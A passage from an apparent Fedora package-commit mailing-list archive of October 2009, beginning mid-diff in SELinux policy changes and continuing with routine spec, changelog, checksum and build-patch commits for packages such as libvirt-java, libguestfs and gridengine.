  term_use_unallocated_ttys(xdm_t)
-@@ -450,6 +516,7 @@
+@@ -450,6 +521,7 @@
  auth_domtrans_pam_console(xdm_t)
  auth_manage_pam_pid(xdm_t)
  auth_manage_pam_console_data(xdm_t)
@@ -24526,7 +24542,7 @@ diff -b -B --ignore-all-space --exclude-
  auth_rw_faillog(xdm_t)
  auth_write_login_records(xdm_t)
  
-@@ -460,10 +527,11 @@
+@@ -460,10 +532,11 @@
  
  logging_read_generic_logs(xdm_t)
  
@@ -24540,7 +24556,7 @@ diff -b -B --ignore-all-space --exclude-
  
  userdom_dontaudit_use_unpriv_user_fds(xdm_t)
  userdom_create_all_users_keys(xdm_t)
-@@ -472,6 +540,9 @@
+@@ -472,6 +545,9 @@
  # Search /proc for any user domain processes.
  userdom_read_all_users_state(xdm_t)
  userdom_signal_all_users(xdm_t)
@@ -24550,7 +24566,7 @@ diff -b -B --ignore-all-space --exclude-
  
  xserver_rw_session(xdm_t, xdm_tmpfs_t)
  xserver_unconfined(xdm_t)
-@@ -504,10 +575,12 @@
+@@ -504,10 +580,12 @@
  
  optional_policy(`
  	alsa_domtrans(xdm_t)
@@ -24563,7 +24579,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -515,12 +588,46 @@
+@@ -515,12 +593,46 @@
  ')
  
  optional_policy(`
@@ -24610,7 +24626,7 @@ diff -b -B --ignore-all-space --exclude-
  	hostname_exec(xdm_t)
  ')
  
-@@ -542,6 +649,38 @@
+@@ -542,6 +654,38 @@
  ')
  
  optional_policy(`
@@ -24649,7 +24665,7 @@ diff -b -B --ignore-all-space --exclude-
  	seutil_sigchld_newrole(xdm_t)
  ')
  
-@@ -550,8 +689,9 @@
+@@ -550,8 +694,9 @@
  ')
  
  optional_policy(`
@@ -24661,7 +24677,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	ifndef(`distro_redhat',`
  		allow xdm_t self:process { execheap execmem };
-@@ -560,7 +700,6 @@
+@@ -560,7 +705,6 @@
  	ifdef(`distro_rhel4',`
  		allow xdm_t self:process { execheap execmem };
  	')
@@ -24669,7 +24685,7 @@ diff -b -B --ignore-all-space --exclude-
  
  optional_policy(`
  	userhelper_dontaudit_search_config(xdm_t)
-@@ -571,6 +710,10 @@
+@@ -571,6 +715,10 @@
  ')
  
  optional_policy(`
@@ -24680,7 +24696,7 @@ diff -b -B --ignore-all-space --exclude-
  	xfs_stream_connect(xdm_t)
  ')
  
-@@ -587,10 +730,9 @@
+@@ -587,10 +735,9 @@
  # execheap needed until the X module loader is fixed.
  # NVIDIA Needs execstack
  
@@ -24692,7 +24708,7 @@ diff -b -B --ignore-all-space --exclude-
  allow xserver_t self:fd use;
  allow xserver_t self:fifo_file rw_fifo_file_perms;
  allow xserver_t self:sock_file read_sock_file_perms;
-@@ -602,9 +744,12 @@
+@@ -602,9 +749,12 @@
  allow xserver_t self:unix_stream_socket { create_stream_socket_perms connectto };
  allow xserver_t self:tcp_socket create_stream_socket_perms;
  allow xserver_t self:udp_socket create_socket_perms;
@@ -24705,7 +24721,7 @@ diff -b -B --ignore-all-space --exclude-
  
  allow xserver_t { input_xevent_t input_xevent_type }:x_event send;
  
-@@ -616,13 +761,14 @@
+@@ -616,13 +766,14 @@
  type_transition xserver_t xserver_t:{ x_drawable x_colormap } rootwindow_t;
  
  allow xserver_t { rootwindow_t x_domain }:x_drawable send;
@@ -24721,7 +24737,7 @@ diff -b -B --ignore-all-space --exclude-
  
  manage_dirs_pattern(xserver_t, xserver_tmpfs_t, xserver_tmpfs_t)
  manage_files_pattern(xserver_t, xserver_tmpfs_t, xserver_tmpfs_t)
-@@ -635,9 +781,19 @@
+@@ -635,9 +786,19 @@
  manage_lnk_files_pattern(xserver_t, xkb_var_lib_t, xkb_var_lib_t)
  files_search_var_lib(xserver_t)
  
@@ -24741,7 +24757,7 @@ diff -b -B --ignore-all-space --exclude-
  
  kernel_read_system_state(xserver_t)
  kernel_read_device_sysctls(xserver_t)
-@@ -671,7 +827,6 @@
+@@ -671,7 +832,6 @@
  dev_rw_agp(xserver_t)
  dev_rw_framebuffer(xserver_t)
  dev_manage_dri_dev(xserver_t)
@@ -24749,7 +24765,7 @@ diff -b -B --ignore-all-space --exclude-
  dev_create_generic_dirs(xserver_t)
  dev_setattr_generic_dirs(xserver_t)
  # raw memory access is needed if not using the frame buffer
-@@ -681,9 +836,12 @@
+@@ -681,9 +841,12 @@
  dev_rw_xserver_misc(xserver_t)
  # read events - the synaptics touchpad driver reads raw events
  dev_rw_input_dev(xserver_t)
@@ -24763,7 +24779,7 @@ diff -b -B --ignore-all-space --exclude-
  
  files_read_etc_files(xserver_t)
  files_read_etc_runtime_files(xserver_t)
-@@ -698,8 +856,12 @@
+@@ -698,8 +861,12 @@
  fs_search_nfs(xserver_t)
  fs_search_auto_mountpoints(xserver_t)
  fs_search_ramfs(xserver_t)
@@ -24776,7 +24792,7 @@ diff -b -B --ignore-all-space --exclude-
  
  selinux_validate_context(xserver_t)
  selinux_compute_access_vector(xserver_t)
-@@ -721,6 +883,7 @@
+@@ -721,6 +888,7 @@
  
  miscfiles_read_localization(xserver_t)
  miscfiles_read_fonts(xserver_t)
@@ -24784,7 +24800,7 @@ diff -b -B --ignore-all-space --exclude-
  
  modutils_domtrans_insmod(xserver_t)
  
-@@ -743,7 +906,7 @@
+@@ -743,7 +911,7 @@
  ')
  
  ifdef(`enable_mls',`
@@ -24793,7 +24809,7 @@ diff -b -B --ignore-all-space --exclude-
  	range_transition xserver_t xserver_t:x_drawable s0 - mls_systemhigh;
  ')
  
-@@ -775,12 +938,20 @@
+@@ -775,12 +943,20 @@
  ')
  
  optional_policy(`
@@ -24815,7 +24831,7 @@ diff -b -B --ignore-all-space --exclude-
  	unconfined_domtrans(xserver_t)
  ')
  
-@@ -807,12 +978,12 @@
+@@ -807,12 +983,12 @@
  allow xserver_t xdm_var_lib_t:file { getattr read };
  dontaudit xserver_t xdm_var_lib_t:dir search;
  
@@ -24832,7 +24848,7 @@ diff -b -B --ignore-all-space --exclude-
  
  # Run xkbcomp.
  allow xserver_t xkb_var_lib_t:lnk_file read;
-@@ -828,9 +999,14 @@
+@@ -828,9 +1004,14 @@
  # to read ROLE_home_t - examine this in more detail
  # (xauth?)
  userdom_read_user_home_content_files(xserver_t)
@@ -24847,7 +24863,7 @@ diff -b -B --ignore-all-space --exclude-
  tunable_policy(`use_nfs_home_dirs',`
  	fs_manage_nfs_dirs(xserver_t)
  	fs_manage_nfs_files(xserver_t)
-@@ -845,11 +1021,14 @@
+@@ -845,11 +1026,14 @@
  
  optional_policy(`
  	dbus_system_bus_client(xserver_t)
@@ -24863,7 +24879,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -882,6 +1061,8 @@
+@@ -882,6 +1066,8 @@
  # X Server
  # can read server-owned resources
  allow x_domain xserver_t:x_resource read;
@@ -24872,7 +24888,7 @@ diff -b -B --ignore-all-space --exclude-
  # can mess with own clients
  allow x_domain self:x_client { manage destroy };
  
-@@ -906,6 +1087,8 @@
+@@ -906,6 +1092,8 @@
  # operations allowed on my windows
  allow x_domain self:x_drawable { create destroy getattr setattr read write show hide list_child add_child remove_child manage send receive };
  
@@ -24881,7 +24897,7 @@ diff -b -B --ignore-all-space --exclude-
  # X Colormaps
  # can use the default colormap
  allow x_domain rootwindow_t:x_colormap { read use add_color };
-@@ -973,17 +1156,49 @@
+@@ -973,17 +1161,49 @@
  allow xserver_unconfined_type { x_domain xserver_t }:x_resource *;
  allow xserver_unconfined_type xevent_type:{ x_event x_synthetic_event } *;
  
@@ -25029,7 +25045,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/authlogin.if serefpolicy-3.6.32/policy/modules/system/authlogin.if
 --- nsaserefpolicy/policy/modules/system/authlogin.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/authlogin.if	2009-10-28 09:49:28.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/authlogin.if	2009-10-29 14:34:39.000000000 -0400
 @@ -40,17 +40,76 @@
  ##	</summary>
  ## </param>
@@ -30389,7 +30405,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-29 08:26:32.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-29 11:16:09.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.956
retrieving revision 1.957
diff -u -p -r1.956 -r1.957
--- selinux-policy.spec	29 Oct 2009 14:32:59 -0000	1.956
+++ selinux-policy.spec	29 Oct 2009 20:00:32 -0000	1.957
@@ -445,6 +445,11 @@ exit 0
 %endif
 
 %changelog
+* Thu Oct 29 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-37
+- Allow consolekit to manage /var/run/console directory
+- Allow pcsd to r/w smartcard devices
+- Temporarily allow xauth to read/write user_home_t
+
 * Thu Oct 29 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-36
 - Change labeling of /usr/share/yumex/yumex-yum-backend
 - Allow initrc_t to request loading kernel modules



From bkearney at fedoraproject.org  Thu Oct 29 20:08:21 2009
From: bkearney at fedoraproject.org (Bryan Kearney)
Date: Thu, 29 Oct 2009 20:08:21 +0000 (UTC)
Subject: rpms/libvirt-java/F-11 .cvsignore, 1.4, 1.5 import.log, 1.1,
	1.2 libvirt-java.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091029200821.D702411C00E5@cvs1.fedora.phx.redhat.com>

Author: bkearney

Update of /cvs/pkgs/rpms/libvirt-java/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19107/F-11

Modified Files:
	.cvsignore import.log libvirt-java.spec sources 
Log Message:
Added Domain and Connection closing issues found by Thomas Treutner




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-java/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	29 Jul 2009 17:10:16 -0000	1.4
+++ .cvsignore	29 Oct 2009 20:08:20 -0000	1.5
@@ -1 +1 @@
-libvirt-java-0.3.0.tar.gz
+libvirt-java-0.3.1.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-java/F-11/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	29 Jul 2009 17:10:17 -0000	1.1
+++ import.log	29 Oct 2009 20:08:20 -0000	1.2
@@ -1 +1,2 @@
 libvirt-java-0_3_0-1_fc10:F-11:libvirt-java-0.3.0-1.fc10.src.rpm:1248887303
+libvirt-java-0_3_1-1_fc11:F-11:libvirt-java-0.3.1-1.fc11.src.rpm:1256846668


Index: libvirt-java.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-java/F-11/libvirt-java.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- libvirt-java.spec	29 Jul 2009 17:10:17 -0000	1.5
+++ libvirt-java.spec	29 Oct 2009 20:08:20 -0000	1.6
@@ -1,6 +1,6 @@
 Summary:	Java bindings for the libvirt virtualization API
 Name:		libvirt-java
-Version:	0.3.0
+Version:	0.3.1
 Prefix:     libvirt
 Release:	1%{?dist}
 License:	LGPLv2+
@@ -83,6 +83,10 @@ rm -rf %{buildroot}
 %{_javadocdir}/%{name}-%{version}
 
 %changelog
+* Thu Oct 29 2009 Bryan Kearney <bkearney at redhat.com> - 0.3.1-1
+- Added maven building tools.
+- Fixed connection and domain bugs found by Thomas Treutner
+    
 * Wed Jul 29 2009 Bryan Kearney <bkearney at redhat.com> - 0.3.0-1
 - refactored the code to use jna (https://jna.dev.java.net/)
     


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-java/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	29 Jul 2009 17:10:17 -0000	1.4
+++ sources	29 Oct 2009 20:08:20 -0000	1.5
@@ -1 +1 @@
-99c18173026f84de4b62345c26e1af7c  libvirt-java-0.3.0.tar.gz
+423fbdab5dbe36aa35a9959d5f6df4bd  libvirt-java-0.3.1.tar.gz



From cwickert at fedoraproject.org  Thu Oct 29 20:25:26 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu, 29 Oct 2009 20:25:26 +0000 (UTC)
Subject: rpms/gnome-applet-timer/devel gnome-applet-timer.spec,1.31,1.32
Message-ID: <20091029202527.BEED711C00E5@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gnome-applet-timer/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23213/d

Modified Files:
	gnome-applet-timer.spec 
Log Message:
* Thu Oct 29 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-4
- Require gnome-audio (#531877)



Index: gnome-applet-timer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-applet-timer/devel/gnome-applet-timer.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- gnome-applet-timer.spec	25 Jul 2009 00:34:12 -0000	1.31
+++ gnome-applet-timer.spec	29 Oct 2009 20:25:26 -0000	1.32
@@ -4,7 +4,7 @@
 
 Name:           gnome-applet-timer
 Version:        2.1.2
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        A countdown timer applet for the GNOME panel
 
 Group:          User Interface/Desktops
@@ -21,6 +21,7 @@ Requires:       gnome-python2-applet >= 
 Requires:       notify-python >= 0.1
 Requires:       dbus-python >= 0.80
 Requires:       gstreamer-python
+Requires:       gnome-audio
 
 %if "%{python_version}" < "2.5"
 Requires:       python-elementtree
@@ -101,6 +102,9 @@ scrollkeeper-update -q || :
 
 
 %changelog
+* Thu Oct 29 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-4
+- Require gnome-audio (#531877)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From cwickert at fedoraproject.org  Thu Oct 29 20:25:27 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu, 29 Oct 2009 20:25:27 +0000 (UTC)
Subject: rpms/gnome-applet-timer/F-12 gnome-applet-timer.spec,1.31,1.32
Message-ID: <20091029202527.D7DA711C0260@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gnome-applet-timer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23213/F-12

Modified Files:
	gnome-applet-timer.spec 
Log Message:
* Thu Oct 29 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-4
- Require gnome-audio (#531877)



Index: gnome-applet-timer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-applet-timer/F-12/gnome-applet-timer.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- gnome-applet-timer.spec	25 Jul 2009 00:34:12 -0000	1.31
+++ gnome-applet-timer.spec	29 Oct 2009 20:25:26 -0000	1.32
@@ -4,7 +4,7 @@
 
 Name:           gnome-applet-timer
 Version:        2.1.2
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        A countdown timer applet for the GNOME panel
 
 Group:          User Interface/Desktops
@@ -21,6 +21,7 @@ Requires:       gnome-python2-applet >= 
 Requires:       notify-python >= 0.1
 Requires:       dbus-python >= 0.80
 Requires:       gstreamer-python
+Requires:       gnome-audio
 
 %if "%{python_version}" < "2.5"
 Requires:       python-elementtree
@@ -101,6 +102,9 @@ scrollkeeper-update -q || :
 
 
 %changelog
+* Thu Apr 16 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-4
+- Require gnome-audio (#531877)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rjones at fedoraproject.org  Thu Oct 29 20:25:40 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 29 Oct 2009 20:25:40 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 .cvsignore, 1.35, 1.36 libguestfs.spec, 1.80, 
	1.81 sources, 1.35, 1.36
Message-ID: <20091029202540.B43E011C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23331

Modified Files:
	.cvsignore libguestfs.spec sources 
Log Message:
* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.76-1
- New upstream release 1.0.76.  No changes here except to have
  a prebuilt autoconf environment.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/.cvsignore,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- .cvsignore	29 Oct 2009 17:26:40 -0000	1.35
+++ .cvsignore	29 Oct 2009 20:25:37 -0000	1.36
@@ -1 +1 @@
-libguestfs-1.0.75.tar.gz
+libguestfs-1.0.76.tar.gz


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- libguestfs.spec	29 Oct 2009 19:14:35 -0000	1.80
+++ libguestfs.spec	29 Oct 2009 20:25:37 -0000	1.81
@@ -4,20 +4,14 @@
 Summary:     Access and modify virtual machine disk images
 Name:        libguestfs
 Epoch:       1
-Version:     1.0.75
-Release:     1%{?dist}.8
+Version:     1.0.76
+Release:     1%{?dist}
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
 Source0:     http://libguestfs.org/download/%{name}-%{version}.tar.gz
 BuildRoot:   %{_tmppath}/%{name}-%{version}-%{release}-root
 
-# Next lines should be removed in 1.0.76:
-Patch0:      0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch
-Patch1:      0002-RHEL-5-Also-add-le-16-64-toh-functions.patch
-Patch2:      0003-Fix-misspelling-in-previous-commit.patch
-BuildRequires: autoconf, automake, libtool, gettext-devel
-
 # Currently fails on PPC because:
 # "No Package Found for kernel"
 ExclusiveArch: %{ix86} x86_64
@@ -325,15 +319,6 @@ Requires:    jpackage-utils
 %prep
 %setup -q
 
-# Remove this in 1.0.76:
-%patch0 -p1
-%patch1 -p1
-%patch2 -p1
-mv inspector/Makefile.am inspector/Makefile.am.orig
-echo 'docdir = ${datadir}/doc/${PACKAGE}' > inspector/Makefile.am
-cat inspector/Makefile.am.orig >> inspector/Makefile.am
-autoreconf
-
 mkdir -p daemon/m4
 
 
@@ -579,6 +564,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.76-1
+- New upstream release 1.0.76.  No changes here except to have
+  a prebuilt autoconf environment.
+
 * Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.8
 - New upstream release 1.0.75.
 - New library: libhivex.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/sources,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- sources	29 Oct 2009 17:26:40 -0000	1.35
+++ sources	29 Oct 2009 20:25:37 -0000	1.36
@@ -1 +1 @@
-ccde2fd4f9422ba3f468acc6477f204d  libguestfs-1.0.75.tar.gz
+5bfa5aad365545f7cade49c6dcdee35a  libguestfs-1.0.76.tar.gz



From orion at fedoraproject.org  Thu Oct 29 20:28:58 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 29 Oct 2009 20:28:58 +0000 (UTC)
Subject: rpms/R-RScaLAPACK/EL-5 R-RScaLAPACK.spec,1.20,1.21
Message-ID: <20091029202858.ABA6A11C00E5@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/R-RScaLAPACK/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24345

Modified Files:
	R-RScaLAPACK.spec 
Log Message:
* Thu Oct 29 2009 Orion Poplawski <orion at cora.nwra.com> 0.5.1-10
- Update spec and rebuild with new R



Index: R-RScaLAPACK.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-RScaLAPACK/EL-5/R-RScaLAPACK.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- R-RScaLAPACK.spec	26 Aug 2007 23:16:35 -0000	1.20
+++ R-RScaLAPACK.spec	29 Oct 2009 20:28:58 -0000	1.21
@@ -9,15 +9,17 @@
 
 Name: R-%{packname}
 Version: 0.5.1
-Release: 9%{?dist}
+Release: 10%{?dist}
 Source0: ftp://cran.r-project.org/pub/R/contrib/main/%{packname}_%{version}.tar.gz
 License: MIT
-URL: http://cran.r-project.org/contrib
+URL: http://cran.r-project.org/web/packages/RScaLAPACK/index.html
 Group: Applications/Engineering
 Summary: An interface to perform parallel computation on linear algebra problems using ScaLAPACK
 BuildRequires: lam-libs, lam-devel, R-devel, tetex-latex, lapack-devel
 BuildRequires: gcc-gfortran, blacs-devel, scalapack-devel, autoconf
-Requires: R, scalapack, lam-libs
+Requires: R-core, scalapack, lam-libs
+Requires(post): R-core
+Requires(postun): R-core
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Patch0: R-RScaLAPACK-0.4.0-lam-mpi-blacs.patch
 Patch1: R-RScaLAPACK-0.5.1-gcc4.patch
@@ -60,10 +62,10 @@ rm -rf $RPM_BUILD_ROOT%{_libdir}/R/libra
 rm -rf $RPM_BUILD_ROOT
 
 %post
-cat %{_libdir}/R/library/*/CONTENTS > %{_libdir}/R/doc/html/search/index.txt
+%{_R_make_search_index}
 
 %postun
-cat %{_libdir}/R/library/*/CONTENTS > %{_libdir}/R/doc/html/search/index.txt
+%{_R_make_search_index}
 
 %files
 %defattr(-,root,root,-)
@@ -71,6 +73,9 @@ cat %{_libdir}/R/library/*/CONTENTS > %{
 %{_libdir}/R/library/%{packname}/
 
 %changelog
+* Thu Oct 29 2009 Orion Poplawski <orion at cora.nwra.com> 0.5.1-10
+- Update spec and rebuild with new R
+
 * Fri Mar 30 2007 Tom "spot" Callaway <tcallawa at redhat.com> 0.5.1-9
 - include bitsize specific lam include directory
 



From cwickert at fedoraproject.org  Thu Oct 29 20:29:34 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu, 29 Oct 2009 20:29:34 +0000 (UTC)
Subject: rpms/gnome-applet-timer/F-12 gnome-applet-timer.spec,1.32,1.33
Message-ID: <20091029202934.600CF11C00E5@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gnome-applet-timer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24642

Modified Files:
	gnome-applet-timer.spec 
Log Message:
fix date in changelog


Index: gnome-applet-timer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-applet-timer/F-12/gnome-applet-timer.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- gnome-applet-timer.spec	29 Oct 2009 20:25:26 -0000	1.32
+++ gnome-applet-timer.spec	29 Oct 2009 20:29:34 -0000	1.33
@@ -102,7 +102,7 @@ scrollkeeper-update -q || :
 
 
 %changelog
-* Thu Apr 16 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-4
+* Thu Oct 29 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-4
 - Require gnome-audio (#531877)
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1.2-3



From orion at fedoraproject.org  Thu Oct 29 21:45:49 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 29 Oct 2009 21:45:49 +0000 (UTC)
Subject: rpms/gridengine/devel gridengine-6.2u4-ant.patch, NONE,
	1.1 gridengine-6.2u4-auto.patch, NONE,
	1.1 gridengine-6.2u4-rctemplates.patch, NONE, 1.1 .cvsignore,
	1.7, 1.8 gridengine.spec, 1.21, 1.22 sources, 1.9,
	1.10 gridengine-6.1u2-auto.patch, 1.1,
	NONE gridengine-6.2-import.patch, 1.1,
	NONE gridengine-6.2u3-rctemplates.patch, 1.1, NONE
Message-ID: <20091029214549.8F24E11C02BC@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/gridengine/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3341

Modified Files:
	.cvsignore gridengine.spec sources 
Added Files:
	gridengine-6.2u4-ant.patch gridengine-6.2u4-auto.patch 
	gridengine-6.2u4-rctemplates.patch 
Removed Files:
	gridengine-6.1u2-auto.patch gridengine-6.2-import.patch 
	gridengine-6.2u3-rctemplates.patch 
Log Message:
* Thu Oct 29 2009 - Orion Poplawski <orion at cora.nwra.com> - 6.2u4-1
- Update to 6.2u4
- Drop import patch fixed upstream
- Updated rctemplates and auto patches
- Add patch to call ant with appropriate library directory


gridengine-6.2u4-ant.patch:
 build.xml           |    1 +
 libs/jgdi/build.xml |    1 +
 2 files changed, 2 insertions(+)

--- NEW FILE gridengine-6.2u4-ant.patch ---
--- gridengine/source/build.xml.ant	2009-03-30 11:24:03.000000000 -0600
+++ gridengine/source/build.xml	2009-10-27 13:18:10.556842272 -0600
@@ -26,6 +26,7 @@
                fork="true" failonerror="true"
                dir="@{dir}">
                <jvmarg value="-Djava.compiler=none"/>
+               <jvmarg value="-Dant.library.dir=/usr/share/ant/lib"/>
                <classpath>
                   <pathelement path="${java.class.path}"/>
                   <pathelement location="${libs.junit.classpath}"/>
--- gridengine/source/libs/jgdi/build.xml.ant	2009-03-17 09:18:12.000000000 -0600
+++ gridengine/source/libs/jgdi/build.xml	2009-10-27 13:20:21.695842289 -0600
@@ -379,6 +379,7 @@
         <java classname="org.apache.tools.ant.launch.Launcher" 
               fork="true" failonerror="true">
             <jvmarg line="${sge.jvmargs}"/>
+            <jvmarg line="-Dant.library.dir=/usr/share/ant/lib"/>
             <classpath>
                 <pathelement path="${java.class.path}"/>
             </classpath>

gridengine-6.2u4-auto.patch:
 inst_sge |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE gridengine-6.2u4-auto.patch ---
--- gridengine/source/dist/inst_sge.auto	2009-10-27 12:37:37.884779529 -0600
+++ gridengine/source/dist/inst_sge	2009-10-27 12:41:27.569911164 -0600
@@ -142,6 +142,7 @@
         AUTO="false"
         $INFOTEXT "Error: File $FILE does not exist!" 
         ErrUsage        
+        exit 1
      fi
      shift
      ARGC=`expr $ARGC - 1`

gridengine-6.2u4-rctemplates.patch:
 dist/inst_sge                             |   26 +--------------
 dist/util/create_settings.sh              |   51 +-----------------------------
 dist/util/install_modules/inst_common.sh  |   24 +++++++++-----
 dist/util/install_modules/inst_execd.sh   |    2 -
 dist/util/install_modules/inst_qmaster.sh |   12 ++++---
 scripts/distinst                          |    8 ----
 6 files changed, 30 insertions(+), 93 deletions(-)

--- NEW FILE gridengine-6.2u4-rctemplates.patch ---
--- gridengine/source/dist/inst_sge.rctemplates	2009-09-22 05:55:33.000000000 -0600
+++ gridengine/source/dist/inst_sge	2009-10-27 12:33:08.083779598 -0600
@@ -685,8 +685,7 @@
       AddJMXFiles
    fi
    RestoreSequenceNumberFiles $QMDIR #Restore jobseqnum and arseqnum
-   CreateSGEStartUpScripts $euid true master
-   CreateSGEStartUpScripts $euid true execd
+   SetupDefaultUsers $euid
    CreateSettingsFile
    InitCA
    SetupRcScriptNames master #New qmaster RC script/SMF
@@ -845,7 +844,6 @@
       Makedir $COMMONDIR
       ProcessSGEClusterName "bdb"
       SetSpoolingOptions
-      AddSGEStartUpScript $euid "bdb"
       PrepareRPCServerStart
       GiveBerkelyHints
    else
@@ -897,11 +895,9 @@
  AddDefaultUsersets
  AddCommonFiles
  AddJMXFiles
- CreateSGEStartUpScripts $euid true master
- CreateSGEStartUpScripts $euid true execd
+ SetupDefaultUsers $euid
  CreateSettingsFile
  InitCA
- AddSGEStartUpScript $euid master
  StartQmaster
  AddWindowsAdmin
  AddHosts
@@ -1069,7 +1065,6 @@
       GetLocalExecdSpoolDir
       AddLocalConfiguration_With_Qconf
       AddSubmitHostsExecd
-      AddSGEStartUpScript $euid execd
       SetupWinSvc execinst     #service install during execd installation -> param: execinst
       CopyIBMLoadSensor
       StartExecd
@@ -1105,7 +1100,6 @@
       CheckHostNameResolving install
       GetLocalExecdSpoolDir
       AddLocalConfiguration_With_Qconf
-      AddSGEStartUpScript $euid execd
       SetupWinSvc execinst  #service install during execd installation -> param: execinst
       CopyIBMLoadSensor
       StartExecd
@@ -1422,7 +1416,6 @@
       if [ $SHADOW_HOST = `$SGE_UTILBIN/gethostname -aname` ]; then
          . $SGE_ROOT/$SGE_CELL/common/settings.sh
          SGE_ARCH=`$SGE_ROOT/util/arch`
-         AddSGEStartUpScript $euid shadow
